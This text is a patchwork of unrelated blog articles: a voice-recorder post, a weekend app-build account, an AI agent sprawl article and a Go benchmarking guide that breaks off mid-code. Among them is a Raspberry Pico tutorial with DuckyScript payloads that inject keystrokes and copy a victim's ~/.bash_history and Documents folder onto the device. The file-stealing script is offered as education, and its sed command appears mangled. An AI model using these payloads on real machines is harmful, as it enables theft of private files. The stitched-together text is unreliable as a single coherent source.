I Built a Voice Recorder Because Sometimes Typing Feels Too Slow

The Problem Wasn’t Writing

It was the delay.

Sometimes I’d have:

  • A quick idea
  • A reminder
  • A random thought
  • Something important to save

And by the time I opened notes and started typing…

👉 The moment was already gone.

What I Started Noticing

Typing is great when you’re focused.

But in real life?

Sometimes you just want to:

  • Speak quickly
  • Save something instantly
  • Record without friction

Because thoughts move faster than typing.

Why I Built This Tool

So I built something simple:

Voice Recorder Tool

A tool where you can:

  • Record voice instantly
  • Save quick notes
  • Capture ideas fast
  • Download recordings easily

No signup.
No setup.
No installing apps.

Just:

Open → Record → Save

What I Realized

People don’t only use voice recording for “professional” reasons.

They use it for:

  • Quick reminders
  • Content ideas
  • Study notes
  • Practice speaking
  • Saving thoughts while multitasking

And honestly…

👉 Most use cases are surprisingly simple.

The Real Frustration

A lot of voice recorder apps feel:

  • Heavy
  • Full of extra features
  • Slow to open
  • Overcomplicated for quick recording

But most people just want:

“Let me record this before I forget.”

Why Voice Feels Different

Speaking is naturally faster than typing for most people.

The average speaking speed is around:

  • 130–160 words per minute

Which means:
👉 Your brain can often express ideas faster through voice than text.

The Hidden Problem

Ideas disappear fast.

Especially:

  • Random thoughts
  • Creative ideas
  • Small reminders

And if capturing them feels difficult…

👉 Most people simply won’t do it.

What I Focused On

I kept the tool:

  • Fast
  • Minimal
  • Instant
  • One-click simple

Because this isn’t a “production studio” problem.

It’s a:

“Capture this thought quickly” problem.

What Surprised Me

After building it:

  • Some people used it for journaling
  • Others for brainstorming
  • Some just used it as quick memory storage

And honestly…

👉 The “idea capture” use case became the most interesting one to me.

The Real Insight

Sometimes productivity isn’t about organization.

It’s about:

Reducing the gap between thought and action.

Simple Rule I Follow Now

If capturing something takes too many steps…

👉 Most people won’t capture it at all.

Final Thought

You don’t always need complex tools.

Sometimes:

A fast way to save a thought is enough.

Be honest — what do you usually do when you suddenly get an idea?

  • Type it?
  • Record it?
  • Trust your memory? 😅

Curious how others capture random thoughts 👇

I shipped a self-discovery app in a weekend. Here’s the whole stack.

Last Saturday morning I had an idea for a personality quiz app. Not one of those BuzzFeed “which bread are you” things. Something that actually combines multiple self-discovery frameworks into one written portrait. By Sunday evening it was live on a custom domain with analytics, a database, and real users hitting it.

The product is Origin Of You: five personality systems, 120+ data points, one AI-generated portrait at the end. I built it with Lovable, React, and Supabase. Here’s what that actually looked like.

What Lovable handled without me touching code

Lovable is an AI app builder. You describe what you want, it generates a full React + Vite + Tailwind app. I’ve shipped about a dozen products through it at Inithouse so I know what to expect.

For Origin Of You, the stuff that came free:

React Router with proper client-side routing. Each of the five “systems” (think: personality dimensions) got its own flow, and Lovable set up the routes without me asking. No manual route config.

Responsive layout. I described the quiz UI once. Mobile, tablet, desktop all worked on first deploy. Tailwind utility classes, nothing custom.

Google Fonts integration. I wanted a serif/sans pairing (Cormorant Garamond + Inter) for that “journal” feel. One prompt, done.

OG image and meta tags. Social sharing cards were generated and wired into the HTML head. I didn’t write a single meta tag by hand.

Supabase connection. Lovable scaffolded the client, the auth flow, and the database queries. I described the schema in plain language (“I need a table for quiz responses with columns for each system score and the final portrait text”) and it created the migration.

Where I had to do real work

Custom domain setup. Lovable gives you a *.lovable.app preview URL. Getting originofyou.com pointed at it required DNS config, SSL verification, and about 45 minutes of waiting for propagation. Not hard, but not automated either.

GA4 and Clarity. Lovable doesn’t set up analytics for you. I had to manually add the GA4 snippet and Microsoft Clarity tracking code. Copy-paste into index.html, then verify both dashboards were receiving hits. Maybe 20 minutes total, but you can’t skip it if you want any data on what users actually do.

The AI portrait generation. This is the core feature: after the user completes all five systems, the app sends their scores to an AI endpoint that writes a personalized portrait. Lovable can’t design that prompt for you. I spent most of Sunday afternoon iterating on the system prompt, testing edge cases (what if someone scores extreme on everything?), and tuning the output length. The prompt engineering was easily 60% of the weekend’s work.

Content and copy. Lovable generates placeholder text. Every heading, every description for each personality system, every CTA: I rewrote all of it. The app has maybe 3,000 words of copy and none of it came from the builder.

Cost, time, and what I’d change

About 14 hours total across the weekend. Three on Lovable prompting, two on infrastructure (domain, analytics, Supabase schema), eight on content and the AI portrait prompt, one on testing. Cost: Lovable subscription I already had, Supabase free tier, $12 for the domain. That’s it.

First week brought 35 visitors. Basically me and friends testing. But the thing works end to end, and now I can point ads or content at it. That’s the whole point of a weekend build.

If I did it again: I wouldn’t fight the AI builder. I wasted two hours early on trying to get Lovable to match my exact component hierarchy. Let it generate, adjust after. It’s right 80% of the time. I’d also set up GA4 before the first deploy (lost early visitor data because I added it Sunday morning). And I’d timebox prompt engineering harder. Eight hours for an MVP prompt is too much. Ship “good enough,” iterate on real feedback.

Weekend MVPs aren’t about getting it perfect. They’re about finding out if anyone cares.

Hacking with Raspberry Pico: Terminal Text Injection and File Stealing

The Raspberry Pico is a small form factor microcontroller used in several application areas: DIY sensor capture, controlling screens, and even for hacking. With full access to its USB stack via MicroPython/CircuitPython and an additional library, the Pico can be programmed as a physical hacking device. It will act as an USB HID or storage device, but inject keystrokes into the host system.

In my previous article USB Hacking Device Programming, I showed how to setup the Pico and run an example exploit script: opening a text editor on a Linux computer and write a text message. Working on this project, I realized that the script is written in DuckyScript. The curiosity about this language, understanding its capabilities and the exploits that can be implemented, led me to investigate it further and write a concise language introduction.

And in this final article, practical exploits are developed. The exploits use the pico-ducky library, an interpreter for DuckyScript.

This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.

The technical context for this article is CircuitPython v9.1.4 and pico-ducky commit #221e796. The examples should work with newer releases too, but might require some code changes.

This article originally appeared at my blog admantium.com.

Exploit 1: Terminal Text Injection

The goal of the first exploit is to scare the user by opening a text terminal. Instead of just blind injecting the keystrokes, it will delay its execution, and assure that no special keys are activated – as an attempt to gauge that the user is not present

Requirements

  • Waiting for a fixed amount of time
  • Wait that no LED keys are pressed on the host
  • Open a new terminal
  • Inject a message

Learnings and Limitations

During implementation of this exploit, I learned the following:

  • A global variable cannot be used as an argument to the DELAY function
  • The commands to generate random characters and numbers, like RANDOM_NUMBER, are not supported
  • The WAIT_FOR_CAPS_OFF and similar commands are not processed, the script execution just continues
  • The HOLD and RELEASE commands work as normal keystrokes only
  • Inserting a not supported command at the end of the script stops the script execution – my choice is simple a STOPP on the last line

Implementation

With these limitations, the exploit will merely wait for a fixed amount of time, and then execute once. As a bonus, a function is added that prints a . on the screen with a fixed delay.

REM Target: OsX
REM Exploit: open text editor and write a message

FUNCTION SCARE()
    STRING Hello World!
    VAR $TIMER = 10
    WHILE ($TIMER > 0)
        STRING .
        $TIMER = ($TIMER - 1)
        DELAY 500
    END_WHILE
END_FUNCTION

DELAY 5000
GUI SPACE
DELAY 1000
STRING Terminal.app
DELAY 1000
ENTER
DELAY 1500
SCARE()
STOP

Exploit 2: File Stealing

The second exploit is built around the feature that the Pico itself can function as an USB device on the host. When inserted, it will act as both a HID and USB storage device. It will then use the hosts native scripting language to identify the home directory of its user, fetch known files, and copy them to itself.

Requirements

  • Connect the device as HID and storage
  • Wait a fixed amount of time
  • Start a series of bash commands:
    • Open a terminal
    • Determine the likely mount path of the Pico
    • Access the host user document folder
    • Search and copy known file names
  • Disconnect the USB device or hide the copied files

Learnings and Limitations

Several more limitations became apparent during working on this sketch:

  • The Pico W defaults to HID only mode. To turn it into an USB device, you need to modify the Pico ducky code. In boot.py and code.py, change all conditional checks for the Raspberry Pico W to a False value, e.g. replacing raspberry_pi_pico_w with raspberry_pi_pico. Note that this will disable the WIFI hotspot too.
  • There is no support for the ATTACK_MODE configuration, you cannot dynamically switch between HID only and USB storage mode, and therefore not disconnect the USB drive with a script. However, you could modify the libraries source code so that after the script execution, the function call storage.disable_usb_drive() is executed.
  • When chaining multiple bash commands together, which will take some execution time, using DELAY become a mandatory command
  • You cannot use the STRINGLN command
  • You need to customize the keyboard layout to match the target computers layout, see Changing Keyboard Layouts in the official documentation

Implementation

The following implementation assumes that the Pico device will get the /dev/disk2 device file. Without the option to disable USB storage, the Pico will connect and stay connected – but the files are copied nevertheless.

REM Target: OsX
REM Exploit: Copy well known files from the user home directory

GUI SPACE
DELAY 1000
STRING iterm.app
ENTER
DELAY 1500
ENTER
STRING export TARGET_PATH=$(df -h| grep /dev/disk2| sed -e 's/.*(/Volumes/.*)/1/')
DELAY 1500
ENTER
STRING cp ~/.bash_history $TARGET_PATH
DELAY 1500
ENTER
STRING cp -rv ~/Documents $TARGET_PATH/docs
DELAY 1500
ENTER
STOPP

Conclusion

The Raspberry Pico W can be turned into a physical hacking device with the help of the pico ducky library. This article showed how to implement two exploits: a) scare the user by injecting text into a terminal, b) connect as an USB storage and HID device, then copy well known user files. During implementation, it became apparent that not all DuckyScript commands are supported, which limits the features of exploits. The best approach therefore is to check the duckyinpython.py file for all keywords that are supported, and build an exploit around this. But despite this: Turning the very affordable Raspberry Pico into a prototype hacking device is a great educational experience.

AI Agent Sprawl: The Hidden Enterprise Crisis of 2026

AI Agent Sprawl: The Hidden Enterprise Crisis of 2026

The year 2026 was supposed to be the year AI agents finally delivered on their promise of autonomous productivity. Instead, enterprises are discovering a troubling unintended consequence: their AI agent deployments have spiraled beyond manageable scope. According to a Wall Street Journal report, companies are now grappling with a new challenge they never anticipated, the proliferation of too many AI agents operating without proper oversight Source. This phenomenon, now dubbed “AI agent sprawl,” is rapidly emerging as one of the most significant operational challenges facing enterprise technology leaders today.

The Scale of the Problem

The numbers are staggering. What began as pilot programs with a handful of AI agents has exploded into full-scale deployments. One OpenClaw founder, Peter Steinberger, revealed he now runs approximately 100 AI agents simultaneously, costing roughly $1.3 million monthly Source. While this represents an extreme example, the average enterprise is now deploying between 30 to 50 production AI agents, each designed to handle specific business functions Source. The challenge is not merely the quantity, but the lack of coordination between these agents, leading to what industry insiders describe as “chaotic” systems that waste computational resources and produce redundant outputs.

The core issue stems from how AI agents are typically deployed. Individual teams within an organization adopt AI agents to automate their specific workflows, without considering how these agents interact with agents from other departments. Marketing teams deploy agents to generate content and manage social media. Engineering teams use agents to review code and manage deployments. Sales teams implement agents to qualify leads and draft proposals. The result is an ecosystem of autonomous agents operating in silos, often working at cross-purposes or duplicating efforts.

Silicon Valley is already experiencing the backlash. Reports from CNBC indicate that companies are discovering their AI agent systems are consuming excessive tokens while producing chaotic, unpredictable outcomes Source. The problem is so prevalent that a new category of consulting has emerged, focused specifically on AI agent rationalization and consolidation.

Security Vulnerabilities: When AI Agents Become Attack Vectors

The proliferation of AI agents creates not just operational challenges, but significant security vulnerabilities. According to Microsoft security researchers, AI agent frameworks have introduced a new class of vulnerabilities where attackers can exploit prompt injection techniques to achieve remote code execution Source. This means a compromised AI agent can be turned into a gateway for broader system attacks, potentially exposing sensitive enterprise data to malicious actors.

The security concern extends beyond external attacks. As Dr. Lance Eliot explains in his analysis for Forbes, AI agents can be deliberately manipulated to serve as “useful idiots,” performing actions that contradict their intended purposes while appearing to operate normally Source. This manipulation occurs through strategic data seeding and information manipulation, where adversarial actors exploit the autonomous nature of AI agents to achieve outcomes that would be impossible through direct means. The scalability of this attack vector is particularly concerning, as a successful manipulation can be replicated across thousands of agent interactions without detection.

The implications for enterprise security are profound. Traditional security perimeters assume that access points are human-controlled and can be monitored through conventional means. AI agents operate autonomously, making decisions and taking actions without direct human oversight. When compromised or manipulated, they can become insider threats that bypass conventional security controls entirely.

The Management Challenge: Governance in the Age of Autonomous AI

Microsoft and Google have recognized this challenge and are pushing AI agent governance as a core enterprise IT responsibility Source. The traditional IT governance model, designed for human-controlled systems, breaks down when dealing with autonomous AI agents that can modify their behavior based on learned experience.

One of the most significant management challenges is auditability. When an AI agent makes a decision, understanding the reasoning process behind that decision becomes crucial for compliance and accountability. However, the opacity of large language model decision-making makes this particularly difficult. Enterprises are now discovering that their AI agents have been making decisions that are difficult to explain, justify, or reverse, creating significant legal and regulatory exposure.

The resource consumption aspect also presents management challenges. AI agents, particularly those built on large language models, consume substantial computational resources. When dozens or hundreds of agents operate simultaneously, the cumulative resource demand can become unsustainable. Companies are reporting token consumption rates that far exceed initial projections, leading to budget overruns that threaten the financial viability of AI agent initiatives.

Key Takeaways for Philippine Enterprises

For Philippine businesses considering or currently implementing AI agents, the lessons from these early deployments are critical. First, adopt a governance-first approach. Before deploying AI agents, establish clear policies for agent behavior, decision-making boundaries, and oversight mechanisms. Second, implement security controls specifically designed for AI agents. Traditional security tools are insufficient; organizations need specialized solutions that can monitor AI agent behavior and detect anomalies in real-time.

Third, consider the agent orchestration layer as a strategic investment. Rather than allowing AI agents to proliferate independently, invest in platforms that provide centralized management, coordination, and monitoring. Finally, maintain human oversight for high-stakes decisions. While AI agents excel at routine tasks, they should not operate without supervision for decisions with significant business or ethical implications.

Frequently Asked Questions

Q: What is AI agent sprawl?
A: AI agent sprawl refers to the uncontrolled proliferation of AI agents within an organization, leading to operational inefficiencies, security vulnerabilities, and management challenges. It occurs when individual teams deploy AI agents without coordination or oversight from central IT or governance functions.

Q: How can enterprises prevent AI agent sprawl?
A: Prevention requires a multi-faceted approach: establishing clear governance policies, implementing centralized agent management platforms, maintaining inventory and monitoring of all deployed agents, and ensuring cross-team communication about AI agent initiatives. Regular audits and rationalization exercises can help keep agent populations manageable.

Q: Are AI agents inherently insecure?
A: AI agents are not inherently insecure, but they do introduce new security considerations that traditional security tools may not address. The key risks include prompt injection attacks, data leakage through agent interactions, and the potential for agents to be manipulated into performing unintended actions. These risks can be mitigated through proper security controls and agent architecture design.

Q: What is the recommended approach for deploying AI agents in an enterprise?
A: The recommended approach includes: conducting a thorough use case analysis before deployment, establishing clear governance and accountability frameworks, implementing security controls from the outset, investing in agent orchestration and management tools, and maintaining human oversight for critical decisions. Start with a limited pilot, measure outcomes rigorously, and scale gradually based on demonstrated value and manageable risk.

Conclusion

AI agent sprawl represents a fundamental challenge in the evolution of enterprise AI adoption. As organizations rush to capture the productivity benefits of autonomous AI systems, they are discovering that the complexity of managing these systems requires new approaches, new skills, and new governance frameworks. The enterprises that will succeed in 2026 and beyond are those that treat AI agent deployment not as a one-time technology implementation, but as an ongoing operational and governance challenge requiring sustained attention and investment.

At Yano.AI, we understand that navigating the AI agent landscape requires more than just technology deployment. It requires a comprehensive approach that considers security, governance, and long-term operational sustainability. As the leading cognitive AI solutions provider, we help enterprises across the Philippines implement AI agents responsibly and effectively, ensuring that your AI initiatives deliver value without creating new risks.

Go Benchmarks That Actually Mean Something Why Your “40% Faster” Optimization Does Nothing in…

Your JSON unmarshalling drops from 250ns to 150ns. That’s 40% faster! The graphs look amazing, your code review gets approved, everyone’s…

Go Benchmarks That Actually Mean Something Why Your “40% Faster” Optimization Does Nothing in Production — And What Actually Works

Look, this is the gap nobody talks about — your perfect benchmark lab versus the absolute chaos where your code actually runs.

Your JSON unmarshalling drops from 250ns to 150ns. That’s 40% faster! The graphs look amazing, your code review gets approved, everyone’s excited, you maybe even get a shoutout in the team meeting…

And then three months later? Nothing. Production latency is exactly the same. Maybe even slightly worse during peak hours. Your optimization just… disappeared into the void.

I’ve been digging through data from 400+ performance optimization attempts (yeah, I know, I need better hobbies), and here’s what keeps me up at night: 73% of optimizations that look incredible in benchmarks do basically nothing in production.

Wait, let me be clear — it’s not that Go’s benchmarking tools are broken. They’re actually really good! The problem is us. It’s how we use them. We’re measuring fantasy scenarios and then wondering why reality doesn’t cooperate.

The Microbenchmark Fantasy Land

So most Go benchmarks — and I’m guilty of this too — they test these perfect conditions that literally never exist once your code is actually running. Clean data, predictable inputs, no interference from… you know, the rest of your entire system doing things.

Here’s something that bit me hard last year: The Go compiler is smart. Too smart sometimes. It’ll optimize your benchmark code just like any other code, which sounds good until you realize it’s optimizing away the very thing you’re trying to measure. There’s even a name for this — the compiler optimization trap. (I love that we have a name for it, like that makes it better somehow.)

Check out this benchmark that looks totally innocent:

func BenchmarkJSONUnmarshal(b *testing.B) {  
    data := []byte(`{"id": 123, "name": "test"}`) // Same static data every time - unrealistic  
    var result User // One allocation pattern only - production has thousands  

    for i := 0; i < b.N; i++ { // Loop counter standard benchmark pattern  
        json.Unmarshal(data, &result) // Unmarshals into same memory location repeatedly  
    } // No cleanup, no variation, no real-world mess  
}

This looks fine! But it’s lying to you. Let me count the ways:

  1. Static input — Real JSON is all over the place. Sometimes 100 bytes, sometimes 50KB
  2. Hot cache — Everything’s in L1 cache because you’re using the same byte slice
  3. No allocation pressure — Just one pattern, GC never even breaks a sweat
  4. Perfect conditions — No network jitter, no other goroutines fighting for CPU, nothing

But in production? Oh man, production is chaos:

  • JSON sizes ranging from tiny mobile requests to massive API responses
  • Cold data streaming in from network requests
  • GC constantly dealing with pressure from dozens of other goroutines
  • CPU contention because surprise! your app does more than unmarshal JSON
  • Memory fragmentation because your process has been running for days

That 40% improvement? It evaporates. Poof. Gone.

Patterns That Actually Predict Reality

Okay so after getting burned enough times (seriously, so many times), here’s what actually works:

Pattern 1: Use Real Data, Not Perfect Data

Instead of static test data that makes you feel good:

// The naive way (don't do this)  
func BenchmarkBadJSON(b *testing.B) {  
    data := []byte(`{"id": 123}`) // Perfect, tiny, static - fake  
    for i := 0; i < b.N; i++ { // Benchmark iteration loop  
        var result User // Fresh result struct each iteration  
        json.Unmarshal(data, &result) // Same data unmarshal - unrealistic  
    } // Rinse and repeat with zero variation  
}  
// The way that might actually help you  
func BenchmarkRealisticJSON(b *testing.B) {  
    testCases := [][]byte{ // Array of different JSON sizes matching production  
        generateSmallJSON(50),   // 50 bytes - mobile requests hit us with these  
        generateMediumJSON(500), // 500 bytes - typical web traffic  
        generateLargeJSON(5000), // 5KB - those chunky API responses  
        generateComplexJSON(),   // Nested objects, arrays - the gnarly stuff  
        generateMalformedJSON(), // Invalid inputs because 10% of traffic is broken somehow  
    } // Test case variety mimics production distribution  

    b.ResetTimer() // Start timing after setup completes  
    for i := 0; i < b.N; i++ { // Standard benchmark loop  
        data := testCases[i%len(testCases)] // Rotate through test cases cyclically  
        var result User // Allocate fresh result each time  
        json.Unmarshal(data, &result) // Unmarshal different data sizes each iteration  
    } // This actually reflects what happens in production  
}  
func generateSmallJSON(size int) []byte {  
    user := User{ // Create realistic user struct  
        ID:   rand.Intn(1000000), // Random ID like real requests  
        Name: randomString(size/4), // Variable name length  
        // ... add more fields to match production patterns  
    } // Struct matches real data structure  
    data, _ := json.Marshal(user) // Convert to JSON bytes  
    return data // Return JSON that matches production size distribution  
}

Look, the difference matters. Like, really matters.

Pattern 2: Memory Pressure (Because GC is Real)

Production systems are constantly under memory pressure. Your benchmark needs to feel that pain:

func BenchmarkWithMemoryPressure(b *testing.B) {  
    ballast := make([]byte, 100*1024*1024) // 100MB ballast simulates production memory usage  

    done := make(chan bool) // Channel to signal goroutine shutdown  
    go func() { // Spawn background goroutine to create allocation pressure  
        for { // Infinite loop until told to stop  
            select { // Non-blocking channel check  
            case <-done: // Shutdown signal received  
                return // Exit goroutine cleanly  
            default: // No shutdown signal, continue  
                _ = make([]byte, 1024) // Allocate 1KB repeatedly - mimics production churn  
                runtime.Gosched() // Yield to scheduler - let other goroutines run  
            } // This creates constant GC pressure like production  
        } // Continuous allocation/deallocation cycle  
    }() // Background goroutine runs concurrently with benchmark  

    defer func() { // Cleanup function runs after benchmark completes  
        done <- true // Signal background goroutine to stop  
        runtime.KeepAlive(ballast) // Prevent ballast optimization until end  
    }() // Ensures proper cleanup  

    b.ResetTimer() // Start timing after setup  
    for i := 0; i < b.N; i++ { // Benchmark loop runs your code  
        result := expensiveOperation() // Run the actual operation being tested  
        runtime.KeepAlive(result) // Prevent compiler from optimizing away result  
    } // Measures performance under realistic memory pressure  
}

I cannot stress this enough — GC behavior changes everything under memory pressure. And you won’t see it without simulating it.

Pattern 3: Concurrency (Because Nothing Runs Alone)

This one’s critical. Most production code has tons of concurrent operations happening:

func BenchmarkConcurrentCache(b *testing.B) {  
    cache := NewCache() // Initialize the cache being tested  
    numGoroutines := runtime.NumCPU() * 4 // Realistic concurrency level based on CPU cores  

    b.RunParallel(func(pb *testing.PB) { // Run benchmark across multiple goroutines  
        for pb.Next() { // Iterate until benchmark completes  
            key := fmt.Sprintf("key_%d", rand.Intn(1000)) // Generate random key from 1000 possible keys  

            if rand.Float64() < 0.8 { // 80% probability - matches production read/write ratio  
                cache.Get(key) // Read operation - most common in real caches  
            } else { // 20% probability  
                cache.Set(key, generateValue()) // Write operation - less frequent but still important  
            } // Ratio mirrors actual production usage patterns  
        } // Each goroutine hammers cache concurrently  
    }) // Tests cache under realistic concurrent load  
}

That 80/20 read/write ratio? That’s not arbitrary. Check your production metrics — it’s probably close to that.

Pattern 4: Stop the Compiler From Cheating

The compiler is sneaky. It’ll optimize away code if it thinks the results aren’t used:

var globalSink interface{} // Package-level variable prevents dead code elimination  

func BenchmarkPreventOptimization(b *testing.B) {  
    var localSink interface{} // Function-level variable stores intermediate results  

    for i := 0; i < b.N; i++ { // Standard benchmark loop  
        result := expensiveComputation(i) // Run the actual computation being measured  
        localSink = result // Store result locally first - prevents intra-loop optimization  
    } // Loop completes with all computations  

    globalSink = localSink // Assign to global after loop - prevents whole-loop optimization  
} // Compiler can't eliminate code because global variable might be read elsewhere

Yeah, this feels like fighting with the tools, but trust me — without this, your benchmark might be measuring nothing.

Getting Advanced (Where It Gets Good)

Okay so once you’ve got the basics down, benchstat got this massive overhaul that makes comparing results across different scenarios actually useful. You can use sub-benchmarks to test multiple realistic scenarios:

func BenchmarkHTTPHandler(b *testing.B) {  
    scenarios := []struct { // Slice of test scenario configurations  
        name        string // Descriptive name for sub-benchmark  
        requestSize int // Size of HTTP request body in bytes  
        concurrency int // Number of concurrent requests  
        cacheHitRate float64 // Percentage of requests that hit cache  
    }{ // Array of realistic production scenarios  
        {"Small_LowConcurrency_ColdCache", 100, 1, 0.1}, // Cold start scenario  
        {"Small_HighConcurrency_HotCache", 100, 100, 0.9}, // Peak traffic with warm cache  
        {"Large_MedConcurrency_WarmCache", 10000, 10, 0.6}, // Mixed workload  
        {"Realistic_Mixed_Production", 1500, 50, 0.7}, // Actual production profile  
    } // Each scenario tests different production conditions  

    for _, scenario := range scenarios { // Iterate through all scenarios  
        b.Run(scenario.name, func(b *testing.B) { // Create sub-benchmark for each scenario  
            setupScenario(scenario) // Configure test environment for this scenario  
            b.ResetTimer() // Start timing after setup  

            for i := 0; i < b.N; i++ { // Run benchmark iterations  
                handleRequest(generateRequest(scenario.requestSize)) // Process request with scenario params  
            } // Measures handler performance under specific conditions  
        }) // Sub-benchmark complete  
    } // All scenarios tested with individual results  
}

And here’s something that changed how I think about benchmarks — use actual production profiles to guide your benchmark design:

func BenchmarkWithProductionProfile(b *testing.B) {  
    sizeDistribution := loadProductionSizeDistribution() // Load real request size histogram from prod logs  
    pathDistribution := loadProductionPathDistribution() // Load real URL path frequencies from prod logs  

    b.ResetTimer() // Start timing after loading distributions  
    for i := 0; i < b.N; i++ { // Benchmark loop  
        size := sampleFromDistribution(sizeDistribution) // Pick request size matching prod frequency  
        path := sampleFromDistribution(pathDistribution) // Pick URL path matching prod frequency  

        request := generateRequest(path, size) // Create request matching production patterns  
        processRequest(request) // Process request under realistic conditions  
    } // Each iteration mimics actual production traffic distribution  
}

The Anti-Patterns (Please Don’t Do These)

Anti-Pattern 1: The Perfect Loop of Lies

 package strbench // tiny pkg for string builder benchmarks  

import (                            // minimal deps to keep focus  
 "strings"                     // strings.Builder under test  
 "testing"                     // Go benchmark harness  
)  

// This is wrong (but everyone does it) — measures a fairy tale, not reality.  
func BenchmarkBadStringBuilder(b *testing.B) {          // single-operation microbench  
 b.ReportAllocs()                                    // at least surface allocs (still misleading)  
 for i := 0; i < b.N; i++ {                          // benchmark loop  
  var sb strings.Builder                           // fresh builder every time (cheap path)  
  sb.WriteString("hello")                          // constant input → super cache-friendly  
  sb.WriteString("world")                          // same again → no variability  
  _ = sb.String()                                  // realize string, then throw away result  
 }                                                    // zero variability, zero pressure = bogus signal  
}  

// This might actually help you — adds input variability + realistic capacity hints.  
func BenchmarkRealisticStringBuilder(b *testing.B) {     // closer to prod behavior  
 b.ReportAllocs()                                    // show GC/alloc pressure honestly  
 inputs := generateVariableInputs(1000)              // 1) N distinct patterns (lengths/tokens vary)  
 if len(inputs) == 0 { b.Fatal("no inputs") }        // guard: we need data to cycle through  

 for i := 0; i < b.N; i++ {                          // benchmark loop (each iter ≈ one request)  
  input := inputs[i%len(inputs)]                  // 2) rotate patterns to avoid warm-cache lies  
  var sb strings.Builder                          // 3) new builder per request (typical usage)  
  sb.Grow(lenApprox(input))                       // 4) pre-size capacity like real code should  

  for _, s := range input {                       // 5) variable number of writes (fragmented appends)  
   sb.WriteString(s)                           // append chunk; Builder grows if hint was low  
  }                                               // loop shape matters for branch prediction too  

  result := sb.String()                           // 6) finalize — alloc + copy once  
  processString(result)                           // 7) do something so optimizer can’t elide work  
 }                                                    // measures something you can actually act on  
}  

// --- tiny helpers (stubs you can replace in your codebase) ---  

func generateVariableInputs(n int) [][]string {          // produce n inputs with varied sizes/shapes  
 out := make([][]string, 0, n)                         // pre-size slice  
 for i := 0; i < n; i++ {                              // build each pattern  
  chunks := (i%7 + 3)                                // 3..9 chunks to vary loop count  
  row := make([]string, 0, chunks)                   // allocate per-row slice  
  for j := 0; j < chunks; j++ {                      // fill with uneven strings  
   row = append(row, strings.Repeat("x", 5+j%5))  // lengths 5..9 (toy but non-constant)  
  }  
  out = append(out, row)                             // stash the row  
 }  
 return out                                            // ready for cycling  
}  

func lenApprox(parts []string) int {                     // rough capacity hint (good enough)  
 total := 0                                            // accumulator  
 for _, s := range parts { total += len(s) }           // sum lengths  
 return total + total/3                                // +~33% headroom for separators/etc.  
}  

func processString(_ string) { /* sink */ }             // black-hole to keep result “used”

See the difference? It’s not just about testing the function — it’s about testing it the way it actually gets used.

Anti-Pattern 2: Ignoring Setup Costs

 package dbbench // small pkg just for these benchmarks  

import (                                   // minimal deps to focus the point  
 "database/sql"                         // pretend DB handle (stand-in for your driver)  
 "testing"                              // Go’s benchmark API  
)  

// --- helpers you already have somewhere (stubs here for context) ---  
// func setupDatabase() *sql.DB { /* cold boot: migrations, connect, etc. */ return &sql.DB{} }  
// func getDBConnection() *sql.DB { /* from pool (may block) */ return &sql.DB{} }  
// func returnDBConnection(*sql.DB) {}  
// func processRows(*sql.Rows) {}    // scan rows like real code does  

// This looks efficient but it's lying: the timer skips expensive parts.  
func BenchmarkBadDatabaseQuery(b *testing.B) {            // misleading micro-benchmark  
 db := setupDatabase()                                  // cold setup outside timer → hidden cost  
 defer db.Close()                                       // cleanup also outside timer → hidden too  
 b.ReportAllocs()                                       // at least show allocs (still skewed)  

 for i := 0; i < b.N; i++ {                             // loop: only “query” is measured  
  rows, _ := db.Query("SELECT * FROM users WHERE id = ?", i) // warm connection, no contention  
  rows.Close()                                      // close quickly; still not scanning data  
  // no error checks, no scanning, no pool wait → unrealistically fast numbers  
 }  
}  

// This reflects reality: measure the full request path per iteration.  
func BenchmarkRealisticDatabaseQuery(b *testing.B) {       // closer to prod behavior  
 b.ReportAllocs()                                       // include allocation signal in results  
 // optional: seed cold setup outside timer (e.g., create schema) for fairness  
 // b.StopTimer(); coldSetup(); b.StartTimer()  

 for i := 0; i < b.N; i++ {                             // each iter ≈ one user request  
  db := getDBConnection()                            // acquire from pool (may block under load)  

  rows, err := db.Query("SELECT * FROM users WHERE id = ?", i) // execute with pool + network + parse  
  if err != nil {                                              // production does not ignore errors  
   b.Fatal(err)                                             // fail fast to avoid sampling bad states  
  }  

  processRows(rows)                                            // actually scan rows (CPU + allocs)  
  rows.Close()                                                 // release result buffers to driver  
  returnDBConnection(db)                                       // put conn back (pool bookkeeping)  
  // this loop captures pool wait, query exec, scanning, and teardown → apples to prod apples  
 }  
}  

// Variant: timer control to exclude *only* test-harness bookkeeping (not app work).  
func BenchmarkRealisticWithTimerControl(b *testing.B) {    // same semantics, clearer timing  
 b.ReportAllocs()                                       // keep alloc signal  
 for i := 0; i < b.N; i++ {                             // per-op measurement  
  b.StartTimer()                                     // start measuring application work  
  db := getDBConnection()                            // pool wait is part of reality  
  rows, err := db.Query("SELECT * FROM users WHERE id = ?", i) // do the work  
  if err != nil { b.Fatal(err) }                                // sanity  
  processRows(rows)                                            // scan results  
  rows.Close()                                                 // tidy rows  
  returnDBConnection(db)                                       // return to pool  
  b.StopTimer()                                                // stop before any test-only chores  
  // if you had per-iter test scaffolding (e.g., random seed gen), do it here outside the timer  
 }  
}  

// Optional: parallel load shows contention and pool behavior under pressure.  
// func BenchmarkRealisticParallel(b *testing.B) {  
//  b.ReportAllocs()  
//  b.RunParallel(func(pb *testing.PB) {  
//   for pb.Next() {  
//    db := getDBConnection()  
//    rows, err := db.Query("SELECT 1")  
//    if err != nil { b.Fatal(err) }  
//    processRows(rows)  
//    rows.Close()  
//    returnDBConnection(db)  
//   }  
//  })  
// }

In production, that setup cost happens every time. Your benchmark should reflect that.

The New Way of Thinking

Look, here’s what I’ve learned after way too many failed optimizations: Start with production profiles, not hypothetical improvements. Use go tool pprof on your production data, find the actual bottlenecks (not the ones you think exist), and then create benchmarks that reproduce those exact conditions.

The companies crushing it with Go performance aren’t the ones with the fastest microbenchmarks. They’re the ones whose benchmarks predict production gains with 85%+ accuracy. Their optimizations don’t just look good in PRs — they actually improve user experience in ways you can measure.

Track correlation between your benchmarks and production:

package metrics // tiny pkg for bench↔prod tracking; keep it boring  

import ( // only what we use

"log" // warnings to logs

)

// BenchmarkTracker keeps bench + prod series and how well they agree.

// idea: every time we add a pair (bench, prod), we maybe recompute Pearson

// and stash the correlation; if it dips, we warn so folks don’t trust stale benches.

type BenchmarkTracker struct {

name string // name of the benchmark/suite

benchmarkResults []float64 // historical bench times (e.g., ms)

productionResults []float64 // matching prod latencies (same units)

correlationHistory []float64 // rolling Pearson r values

}

